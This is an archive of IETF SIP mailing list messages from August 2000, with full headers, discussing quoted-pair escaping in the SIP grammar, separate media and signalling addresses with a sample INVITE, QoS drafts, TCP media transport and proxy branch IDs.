lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24784 for ; Tue, 29 Aug 2000 12:31:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8FD1844339; Tue, 29 Aug 2000 11:31:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 6746944336 for ; Tue, 29 Aug 2000 11:31:03 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id RAA12595; Tue, 29 Aug 2000 17:29:06 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: "Brian F. G. Bidulock" Subject: Re: [SIP] white space and SIP Date: Tue, 29 Aug 2000 16:58:05 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082916230402.06912@gethin> <20000829105139.D12739@inet.com> In-Reply-To: <20000829105139.D12739@inet.com> MIME-Version: 1.0 Message-Id: <00082917240403.06912@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Tue, 29 Aug 2000, Brian F. G. Bidulock wrote: > Gethin, > > Gethin Liddell wrote: (16:12:49 +0100 Tue, 29 Aug 2000) > > > > > > > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) > > > > > > Pardon me, I'm not reading well today... > > So, what you are saying is that I could simplify my splitting to: > > > > match condition: (\n|\r\n?) > > > postcondition: [^ \t] > > Well that has some (extremely) minor advantages: It removes 5 lines of > assembler from my splitter ;) minor? it allows `\' to appear quite happily in any header without confusion. ahhh, you mean minor change to code, big change in flexibility of the spec. > > But tell me: what is the use of backslashing other control characters > other than 0x08? Particularly when backslashing those are optional? > (Only ,;"() really need be backslashed and only " must be within quoted > text and ) within a comment. What's the point of having control > characters at all? > > > > > quoted-pair = "\" (0x00 - 0x09 | 0x0b | 0x0c | 0x0e - 0x7f) what is the point in backslashing 0x08? the only characters that MUST be escaped are `"' in quoted string and `(' and `)' in comment (you can have sub-comments). there is absolutely no need what so ever to escape any other characters. so why did i leave them in the BNF? because if i had of removed them someone else would have complained about that. besides i suppose this way is more backwards compatible if you really want an explanation (and that's the nearest it gets ;) ). and of course, we can now parse quoted string and comment by simply ignoring any character after a `\' without having to validate it to one of `"', `(' and `)' (assuming of course that we have stripped line folding prior to this :) ). -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 12:58:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25852 for ; Tue, 29 Aug 2000 12:58:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 10AE94433A; Tue, 29 Aug 2000 11:58:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-220.dallas.net [209.44.42.220]) by lists.bell-labs.com (Postfix) with ESMTP id 41FBB44336 for ; Tue, 29 Aug 2000 11:58:25 -0400 (EDT) Received: (from bfb@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id LAA14671; Tue, 29 Aug 2000 11:58:13 -0500 Date: Tue, 29 Aug 2000 11:58:13 -0500 From: "Brian F. G. Bidulock" To: Gethin Liddell Cc: sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000829115813.F12739@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Gethin Liddell , sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082916230402.06912@gethin> <20000829105139.D12739@inet.com> <00082917240403.06912@gethin> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <00082917240403.06912@gethin>; from gethin@ubiquity.net on Tue, Aug 29, 2000 at 04:58:05PM +0100 Organization: Inet Technologies, Inc. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Gethin, Gethin Liddell wrote: (16:58:05 +0100 Tue, 29 Aug 2000) [snip] > > what is the point in backslashing 0x08? the only characters that MUST Sorry, I meant 0x09. > be escaped are `"' in quoted string and `(' and `)' in comment (you > can have sub-comments). there is absolutely no need what so ever to > escape any other characters. so why did i leave them in the BNF? > because if i had of removed them someone else would have complained > about that. besides i suppose this way is more backwards compatible if > you really want an explanation (and that's the nearest it gets ;) ). `nuff said. > and of course, we can now parse quoted string and comment by simply > ignoring any character after a `\' without having to validate it to one > of `"', `(' and `)' (assuming of course that we have stripped line > folding prior to this :) ). Speaking of line folding, now when I am folding lines I must watch out for the construction [\\][ \t], otherwise I might erroneously place a LF where the space was and violate the new BNF. Otherwise, I have to scan through and remove those constructions. (I know, you'll say don't build them that way in the first place, but most headers I don't create as a proxy, I receive them.) How about excluding %x09 and %x20 from the list as well? That way I know that I can always fold a line at TAB or SP. quoted-pair = "\" (0x00 - 0x08 | 0x0b | 0x0c | 0x0e - 0x1f | 0x21 - 0x7f) -- Brian F. G. Bidulock brian.bidulock@inet.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 16:32:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00507 for ; Tue, 29 Aug 2000 16:32:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 04F4B44339; Tue, 29 Aug 2000 15:32:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-240.dallas.net [209.44.42.240]) by lists.bell-labs.com (Postfix) with ESMTP id 440A944336 for ; Tue, 29 Aug 2000 15:32:08 -0400 (EDT) Received: (from bfb@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id PAA18097; Tue, 29 Aug 2000 15:31:59 -0500 Date: Tue, 29 Aug 2000 15:31:59 -0500 From: "Brian F. G. Bidulock" To: Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] white space and SIP Message-ID: <20000829153159.I12739@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Gethin Liddell , sip@lists.bell-labs.com References: <399D4CAC.6A3BAAD@dynamicsoft.com> <00082916230402.06912@gethin> <20000829105139.D12739@inet.com> <00082917240403.06912@gethin> <20000829115813.F12739@inet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000829115813.F12739@inet.com>; from brian.bidulock@inet.com on Tue, Aug 29, 2000 at 11:58:13AM -0500 Organization: Inet Technologies, Inc. X-Operating-System: Linux bfgbhome 2.2.14-5.0 Dsn-Notification-To: Precedence: special-delivery X-Sensitivity: Confidential X-Importance: High X-Priority: 1 (highest) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Gethin, You might want to take that double backslash out of the list too: less problems when there's three of them in a row. Such as ////" vs /////". quoted-pair = "\" (0x00 - 0x08 | 0x0b | 0x0c | 0x0e-0x5b | 0x5d-0x1f | 0x21-0x7f) Brian Bidulock wrote: (11:58:13 -0500 Tue, 29 Aug 2000) > Gethin, > > Gethin Liddell wrote: (16:58:05 +0100 Tue, 29 Aug 2000) > [snip] > > > > what is the point in backslashing 0x08? the only characters that MUST > > Sorry, I meant 0x09. > > > be escaped are `"' in quoted string and `(' and `)' in comment (you > > can have sub-comments). there is absolutely no need what so ever to > > escape any other characters. so why did i leave them in the BNF? > > because if i had of removed them someone else would have complained > > about that. besides i suppose this way is more backwards compatible if > > you really want an explanation (and that's the nearest it gets ;) ). > > `nuff said. > > > and of course, we can now parse quoted string and comment by simply > > ignoring any character after a `\' without having to validate it to one > > of `"', `(' and `)' (assuming of course that we have stripped line > > folding prior to this :) ). > > Speaking of line folding, now when I am folding lines I must watch out > for the construction [\\][ \t], otherwise I might erroneously place a LF > where the space was and violate the new BNF. Otherwise, I have to scan > through and remove those constructions. (I know, you'll say don't build > them that way in the first place, but most headers I don't create as a > proxy, I receive them.) How about excluding %x09 and %x20 from the list > as well? That way I know that I can always fold a line at TAB or SP. > > quoted-pair = "\" (0x00 - 0x08 | 0x0b | 0x0c | 0x0e - 0x1f | 0x21 - 0x7f) > -- Brian F. G. Bidulock brian.bidulock@inet.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 16:44:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00678 for ; Tue, 29 Aug 2000 16:44:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F192B44342; Tue, 29 Aug 2000 15:43:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.spectralink.com (unknown [216.148.100.3]) by lists.bell-labs.com (Postfix) with ESMTP id 38F3644336 for ; Tue, 29 Aug 2000 15:42:56 -0400 (EDT) Received: by MAIL with Internet Mail Service (5.5.2650.21) id ; Tue, 29 Aug 2000 14:39:33 -0600 Message-ID: <4262BC1254F9D311AFD0009027E06AED1AF3E3@SPECTRANET> From: Chris Durand To: "'sip@lists.bell-labs.com'" Date: Tue, 29 Aug 2000 14:39:57 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] separate SIP and stream addresses Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I'm new to SIP and want to make sure I understand how addressing of the streams is done. In particular, I want to check that it is not required that the audio be routed to the same IP address as the SIP messages. For example if I want all SIP messages to be sent to 192.168.200.1, but I want the audio for a particular call to be sent to 192.168.200.5, port 3456 , is it legal to do the following: C->S: INVITE sip:test@test.address.com SIP/2.0 Via: SIP/2.0/UDP some.server.com From: 192.168.200.1 To: Test Call-ID: 662606876@192.168.200.1 CSeq: 1 INVITE Contact: 192.168.200.1 Subject: Send audio there, no here. Content-Type: application/sdp Content-Length: ... v=0 o=- 53655765 2353687637 IN IP4 192.168.200.1 s=Please send audio here. t=3149328600 0 c=IN IP4 192.168.200.5 <---- address to send RTP packets to m=audio 3456 RTP/AVP 0 3 a=rtpmap:0 PCMU/8000 a=rtpmap:3 GSM/8000 Note that the address in "From"/"Contact" is different from the address in "c=". Is this the proper way to do it? Thanks _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 20:24:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA03442 for ; Tue, 29 Aug 2000 20:24:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2F24144338; Tue, 29 Aug 2000 19:24:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchange.NeTrue.com (unknown [207.104.210.242]) by lists.bell-labs.com (Postfix) with ESMTP id DA28B44336 for ; Tue, 29 Aug 2000 19:24:12 -0400 (EDT) Received: by exchange.netrue.com with Internet Mail Service (5.5.2650.21) id ; Tue, 29 Aug 2000 17:29:07 -0700 Message-ID: From: Tricia Wang To: "'sip@lists.bell-labs.com'" Date: Tue, 29 Aug 2000 17:29:00 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] SDP extension for QoS paramters Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Can anyone point to me the draft for carring QoS information in SDP part of SIP message. Thanks Tricia _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 22:08:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA05331 for ; Tue, 29 Aug 2000 22:08:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 54C4C4433A; Tue, 29 Aug 2000 21:07:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id E103F44336 for ; Tue, 29 Aug 2000 21:07:38 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0G03008011WP7D@firewall.mcit.com> for sip@lists.bell-labs.com; Wed, 30 Aug 2000 02:07:37 +0000 (GMT) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G030080N1WP74@firewall.mcit.com>; Wed, 30 Aug 2000 02:07:37 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) id <0G0300C011PLZF@pmismtp04.wcomnet.com>; Wed, 30 Aug 2000 02:03:21 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G0300C011PIZ8@pmismtp04.wcomnet.com>; Wed, 30 Aug 2000 02:03:20 +0000 (GMT) Received: from C25776A ([166.46.21.221]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G03007581PBWF@pmismtp04.wcomnet.com>; Wed, 30 Aug 2000 02:03:13 +0000 (GMT) Date: Tue, 29 Aug 2000 21:07:27 -0500 From: Henry Sinnreich Subject: RE: [SIP] SDP extension for QoS paramters In-reply-to: To: Tricia Wang , sip@lists.bell-labs.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit >carring QoS >information in SDP part >of SIP message. Tricia, please see: http://ietf.org/internet-drafts/draft-johnston-sip-osp-token-00. txt and http://ietf.org/internet-drafts/draft-sinnreich-aaa-interdomain- sip-qos-osp-00.txt Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Tricia Wang >Sent: Tuesday, August 29, 2000 7:29 PM >To: 'sip@lists.bell-labs.com' >Subject: [SIP] SDP extension for QoS paramters > > >Hi, > > Can anyone point to me the draft for carring QoS >information in SDP part >of SIP message. > > > >Thanks > >Tricia > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 23:00:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06650 for ; Tue, 29 Aug 2000 23:00:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 06C114433B; Tue, 29 Aug 2000 21:59:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D070B44336 for ; Tue, 29 Aug 2000 21:59:48 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA18483; Tue, 29 Aug 2000 23:01:24 -0400 (EDT) Message-ID: <39AC7850.31AB7F24@dynamicsoft.com> Date: Tue, 29 Aug 2000 22:58:24 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Tricia Wang Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] SDP extension for QoS paramters References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit http://search.ietf.org/internet-drafts/draft-manyfolks-sip-resource-01.txt Tricia Wang wrote: > > Hi, > > Can anyone point to me the draft for carring QoS information in SDP part > of SIP message. > > Thanks > > Tricia > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 23:07:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06778 for ; Tue, 29 Aug 2000 23:07:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A6F4544342; Tue, 29 Aug 2000 22:07:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4C69844336 for ; Tue, 29 Aug 2000 22:06:58 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA18512; Tue, 29 Aug 2000 23:08:43 -0400 (EDT) Message-ID: <39AC7A06.15DAE9D7@dynamicsoft.com> Date: Tue, 29 Aug 2000 23:05:42 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Chris Durand Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] separate SIP and stream addresses References: <4262BC1254F9D311AFD0009027E06AED1AF3E3@SPECTRANET> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Chris Durand wrote: > > I'm new to SIP and want to make sure I understand how addressing of the > streams is done. In particular, I want to check that it is not required that > the audio be routed to the same IP address as the SIP messages. Correct - it is not required. > For example if I want all SIP messages to be sent to 192.168.200.1, but I > want the audio for a particular call to be sent to 192.168.200.5, port 3456 > , is it legal to do the following: > > C->S: INVITE sip:test@test.address.com SIP/2.0 > Via: SIP/2.0/UDP some.server.com > From: 192.168.200.1 > To: Test > Call-ID: 662606876@192.168.200.1 > CSeq: 1 INVITE > Contact: 192.168.200.1 > Subject: Send audio there, no here. > Content-Type: application/sdp > Content-Length: ... > > v=0 > o=- 53655765 2353687637 IN IP4 192.168.200.1 > s=Please send audio here. > t=3149328600 0 > c=IN IP4 192.168.200.5 <---- address to send RTP > packets to > m=audio 3456 RTP/AVP 0 3 > a=rtpmap:0 PCMU/8000 > a=rtpmap:3 GSM/8000 Your syntax is a bit wrong; the Contact header is a URL, as is the From: From: sip:caller@server.com Contact: sip:caller@192.168.200.1 Otherwise OK. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 23:08:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06792 for ; Tue, 29 Aug 2000 23:08:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB98144344; Tue, 29 Aug 2000 22:08:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id CB9F744338 for ; Tue, 29 Aug 2000 22:08:31 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Tue, 29 Aug 2000 20:08:30 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'David Yon'" , sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Tue, 29 Aug 2000 20:08:29 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi David, Great work !! Here are my comments: - Section 1.2: Are you referring to the driection parameter ? If so, then Section 1.1 should also refer to this parameter to be consistent. - I think there should be an assumed direction of "both" if the direction parameter is missing. - IMO, in Section 2.3 the statement "Endpoints may choose to specify direction:both under one or more of the following conditions:" should be reworded as none of the bullets are really "conditions". Perhaps "Endpoints may choose to specify direction:both for one of the following reasons:" would be better. - In the case of both sides using "direction:both" I believe we decided not to close either of the tcp connections to avoid a race condition. I think someone made to point that the stated algorithm doesn't work is both sides are behind ALGs. Can anyone confirm? - I think that "the endpoints intend to use one/two TCP connections" should be removed from the second and third reasons for using direction:both (Section 2.3). If we are not dropping one of the TCP connections (see above) then those two statements don't make a lot of sense. In my mind, there are only two main reasons for using direction:both: 1) want to allow otherside to specify either active or passive [your first point] 2) want to be able to traverse a NAT or NAPT [your second point]. - In the case of both sides using "direction:both", it also needs to be stated that each endpoint must be willing to receive media from either or both connections. Cheers, Robert. > -----Original Message----- > From: David Yon [mailto:yon@dialout.net] > Sent: Tuesday, August 29, 2000 11:53 PM > To: sip@lists.bell-labs.com > Subject: Re: [SIP] SIP, SDP, and TCP-based media transport > > > Ok, I've got an I-D available, any and all comments welcome: > > ftp://ftp.dialout.net/drafts/draft-ietf-sip-sdp-tcpmedia-00.txt > > I'm an admitted newbie to the whole I-D process, but based on > my readings > at www.ietf.org this needs to be submitted under the auspices > of the SIP > WG. Can I just mail it to the internet-drafts@ietf.org > address or are > there other considerations to be dealt with first? > > At 01:32 PM 8/18/00 -0400, David Yon wrote: > >At 11:03 AM 8/18/00 -0400, Jonathan Rosenberg wrote: > > > >>OK? If so, lets declare this done, get an I-D written, and > move forward > >>here. > > > >Yes, fine by me. I'll assume since nobody else stepped up > to the plate > >that I've got the token on the I-D. > > > David Yon > Chief Technical Officer > Dialout.Net, Inc. > yon@dialout.net > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 29 23:52:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA07567 for ; Tue, 29 Aug 2000 23:52:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 919FF4433C; Tue, 29 Aug 2000 22:51:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 25BFC44336 for ; Tue, 29 Aug 2000 22:51:43 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA18622; Tue, 29 Aug 2000 23:49:42 -0400 (EDT) Message-ID: <39AC83A0.68A61CA@dynamicsoft.com> Date: Tue, 29 Aug 2000 23:46:40 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jo Hornsby Cc: Loita Jahnsson , sip@lists.bell-labs.com Subject: Re: [SIP] transaction identification References: <002e01c011c2$94a85000$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jo Hornsby wrote: > > > An interesting wrinkle I just thought of - stateless proxies. They need > > to be sure that the branch-ID they insert is unique, but also the same > > for retransmitted requests within the same transaction. I suppose this > > can be done by having them compute the branch ID param as a hash of the > > To, From, Call-ID, CSeq, R-URI and top Via of the incoming request, > > along with the process-ID, IP address or some other invariant unique to > > each proxy instance. This should probably also be noted in the spec. > > Cool. Can we now remove the > "A server that is capable of hiding Via headers MUST attempt to > decrypt all Via headers marked as "hidden" to perform loop detection. > Servers that are not capable of hiding can ignore hidden Via fields > in their loop detection algorithm." > paragraph (Section 6.25 of bis01), then, since this is now > unnecessary to detect loops? I am missing something here; why does this eliminate loop detection? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 03:28:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA21693 for ; Wed, 30 Aug 2000 03:28:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DECFA4433C; Wed, 30 Aug 2000 02:28:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp.netservers.net (smtp1.netservers.net [64.45.27.101]) by lists.bell-labs.com (Postfix) with SMTP id 69A7444336 for ; Wed, 30 Aug 2000 02:28:15 -0400 (EDT) Received: (qmail 2443 invoked from network); 30 Aug 2000 07:34:54 -0000 Received: from unknown (HELO voip) (216.101.187.94) by smtp with SMTP; 30 Aug 2000 07:34:54 -0000 From: "IPTelephonyJobs.com" To: "SIPbell-labs" Date: Wed, 30 Aug 2000 00:28:18 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C01219.32131E50" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [SIP] ***New Site : IPTelephonyJobs.com*** Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C01219.32131E50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, We 